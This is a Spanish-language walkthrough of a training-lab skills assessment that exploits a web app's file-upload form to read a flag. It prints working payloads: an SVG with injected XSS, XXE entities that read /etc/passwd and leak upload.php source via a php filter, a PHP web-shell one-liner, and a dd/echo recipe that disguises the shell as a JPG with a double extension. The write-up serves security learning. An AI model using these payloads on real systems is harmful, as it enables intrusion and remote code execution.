# File Uploads - Skills Assessment

Se le ha encomendado realizar una prueba de penetración para la aplicación web de comercio electrónico de una empresa. La aplicación web se encuentra en sus primeras etapas, por lo que solo probará los formularios de carga de archivos que encuentre.

Intente utilizar lo que aprendió en este módulo para comprender cómo funciona el formulario de carga y cómo omitir varias validaciones implementadas (si las hay) para obtener la ejecución remota de código en el servidor back-end.

***

## Objetivo

```
94.237.49.212:55154
```

Intente explotar el formulario de carga para leer la flag que se encuentra en el directorio raíz "/".

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FVFCw604pzTgGLtMRKc9E%2Fimage.png?alt=media&#x26;token=29e51076-e333-4408-bca2-acf6ad56c070" alt=""><figcaption></figcaption></figure>

La web que vamos a auditar es un ecommerce en sus primeras fases de construcción. Si nos vamos a la sección de "Contact us" encontramos el formulario de carga de archivos.

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FbCoW85giFhgO0rnIeQqj%2Fimage.png?alt=media&#x26;token=4574e9f5-f02b-4c25-80b1-26ee7d3901d7" alt=""><figcaption></figcaption></figure>

## Código fuente

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FkD2TVd7qFZs2REWnbLDn%2Fimage.png?alt=media&#x26;token=33d48044-b42c-4732-8007-1790a53945da" alt=""><figcaption></figcaption></figure>

Encontramos que utiliza una validación de archivos de imagen y un script que se asegura de que únicamente se suban este tipo de archivos. Vamos a editarlo desde el front y intentar cargar un archivo .php:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FD7CkxeBYJnxETGPLQH9p%2Fimage.png?alt=media&#x26;token=cecc472d-fa14-4340-b93a-43fb4d684236" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FUq5ylzZgFBXchSftKJFv%2Fimage.png?alt=media&#x26;token=8dddb35c-b0e8-4a4c-a459-ce3c09a1caa8" alt=""><figcaption></figcaption></figure>

Nos da un error "`Entension not allowed`", por lo que utilizará otros métodos de validación de extensiones.

### Prueba de XSS

Al subir un SVG con un script XSS inyectado, vemos que es vulnerable, hemos utilizado este script:

```html
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FP8fDOBDnVED3AlMeE9jm%2Fupload-1.jpg?alt=media&#x26;token=37ee04dd-229f-4c81-a6b2-31228503d375" alt=""><figcaption></figcaption></figure>

Además vemos que se sube correctamente en la respuesta:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FE61QCEAlUKm8pa6Lfwpe%2Fupload-2.jpg?alt=media&#x26;token=6a23af41-87fa-4ae7-8220-4a8f3e713704" alt=""><figcaption></figcaption></figure>

### Prueba de XXE

Si subimos un SVG con el siguiente contenido, vemos que nos devuelve el contenido de un archivo como `/etc/passwd`. Intentamos hacernos con la flag de este modo pero no podemos, igual porque tiene un nombre distintoN:

```html
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FZLlJc0WuLvd0ISRV7xvy%2Fupload-3.jpg?alt=media&#x26;token=6b641138-25bc-44d5-9d52-3aafe79603e5" alt=""><figcaption></figcaption></figure>

Podríamos probar a utilizar este tipo de XXE para obtener el contenido de la página donde se cargan los archivos para obtener más información. Para ello podríamos usar fuzzing para descubrir el directorio de subida.

### Fuzzing de directorios

```shell-session
dirsearch -u http://94.237.59.199:59725/contact/ -x 403,404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/reports/http_94.237.59.199_59725/_contact__24-09-13_10-22-33.txt

Target: http://94.237.59.199:59725/

[10:22:33] Starting: contact/
[10:24:38] 200 -   23B  - /contact/upload.php
```

Ahora que hemos descubierto el directorio de subida `upload.php`, vamos a utilizar un svg con el siguiente contenido para obtener el contenido codificado en base64 de upload.php, con el objetivo de encontrar más información relevante:

```html
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FTb9zfVQSUUgGx9QRgMIs%2Fupload-4.jpg?alt=media&#x26;token=a44ba338-bb72-4b1f-b514-aaa383e4a195" alt=""><figcaption></figcaption></figure>

Como vemos, al subir este SVG nos devuelve el código fuente de la página `upload.php` codificado en base64. Ahora vamos a usar Cyberchef para decodificarlo y obtener la información:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FwuXbjn4nEox45hnRJxQq%2Fupload-5.jpg?alt=media&#x26;token=cf6b49ac-6795-4c0f-a133-30335194ff8e" alt=""><figcaption></figcaption></figure>

Como vemos, obtenemos el directorio donde se suben los archivos: `/user_feedback_submissions/`

## Prueba de subida de imagen real

Vamos a hacer una prueba subiendo una imagen real para ver como se comporta la aplicación.

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2F1wVVknAQrFekfAen4h8j%2Fupload-6.jpg?alt=media&#x26;token=6b732749-d922-44a9-9674-27e3f3ba0b34" alt=""><figcaption></figcaption></figure>

Al subir la imagen vemos que a priori se sube correctamente, pero al acceder a la imagen no podemos. Investigando un poco, descubrimos en el código de la página `upload.php`, que los archivos son renombrados antes de subirse al servidor con el siguiente formato: `yymmdd_$filename`

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FlaWH9X4eJCqWkW04lgUW%2Fupload-7.jpg?alt=media&#x26;token=e16a91c1-f31b-4047-a73c-15c98172c76c" alt=""><figcaption></figcaption></figure>

Entonces probamos a acceder de nuevo, poniendo delante de fecha de subida y buuuum! Ya podemos acceder a la imagen (si, es una imagen de una shell)

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FwzXD3OkKyyxKjWxmjOnl%2Fimage.png?alt=media&#x26;token=d8eb36e3-269f-4227-a1cb-56ed8a354242" alt=""><figcaption></figcaption></figure>



Ahora que ya sabemos el funcionamiento de la aplicación vamos a intentar cargar nuestra `shell.php`:

```php
<?php system($_REQUEST[cmd]); ?>
```

```php
<?php system($_REQUEST[cmd]); ?>
```

Vamos a renombrar este archivo con una doble extensión como `shell.phar.jpg` y vamos a probar a subirlo. Pero antes vamos a añadir un MIME Type válido de una imagen JPG legítima de la siguiente manera:

```bash
# Copia la cabecera de un archivo JPG válido
dd if=/path/to/valid.jpg of=shell.phar.jpg bs=1 count=3

# Añade el código PHP al archivo
echo "<?php system(\$_REQUEST['cmd']); ?>" >> shell.phar.jpg
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FAzagVBe7vCUsvlZyWjQp%2Fimage.png?alt=media&#x26;token=41afa4ad-22cb-48ab-8956-f2d9d9bc43e8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FfiodGPx55ojTWWVdM093%2Fimage.png?alt=media&#x26;token=11b315e3-d0c4-4eb1-bed2-4be2199af182" alt=""><figcaption></figcaption></figure>

Buuum! Se sube correctamente! Ahora vamos a acceder a la ruta que ya conocemos e intentar ejecutar la shell para que nos de más info:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FCAXhh4pupdALf3CAjKMM%2Fimage.png?alt=media&#x26;token=b9bb16f1-00de-43c6-b1c3-01eb5c6a4b70" alt=""><figcaption></figcaption></figure>

Al hacer un ls del directorio / nos encontramos con que la flag tiene un nombre random:

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FZeDeb7X1V5DLhwz6MxWn%2Fimage.png?alt=media&#x26;token=a69b5692-005f-4590-9e58-a016950c43e6" alt=""><figcaption></figcaption></figure>

Y con cat podemos acceder al archivo para leerlo sin problema, obteniendo la flag!

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2Fcko6GKOtxPlGEUqXc2wd%2Fimage.png?alt=media&#x26;token=4900ed09-1bf9-4d60-a02d-3b5e8832a19d" alt=""><figcaption></figcaption></figure>

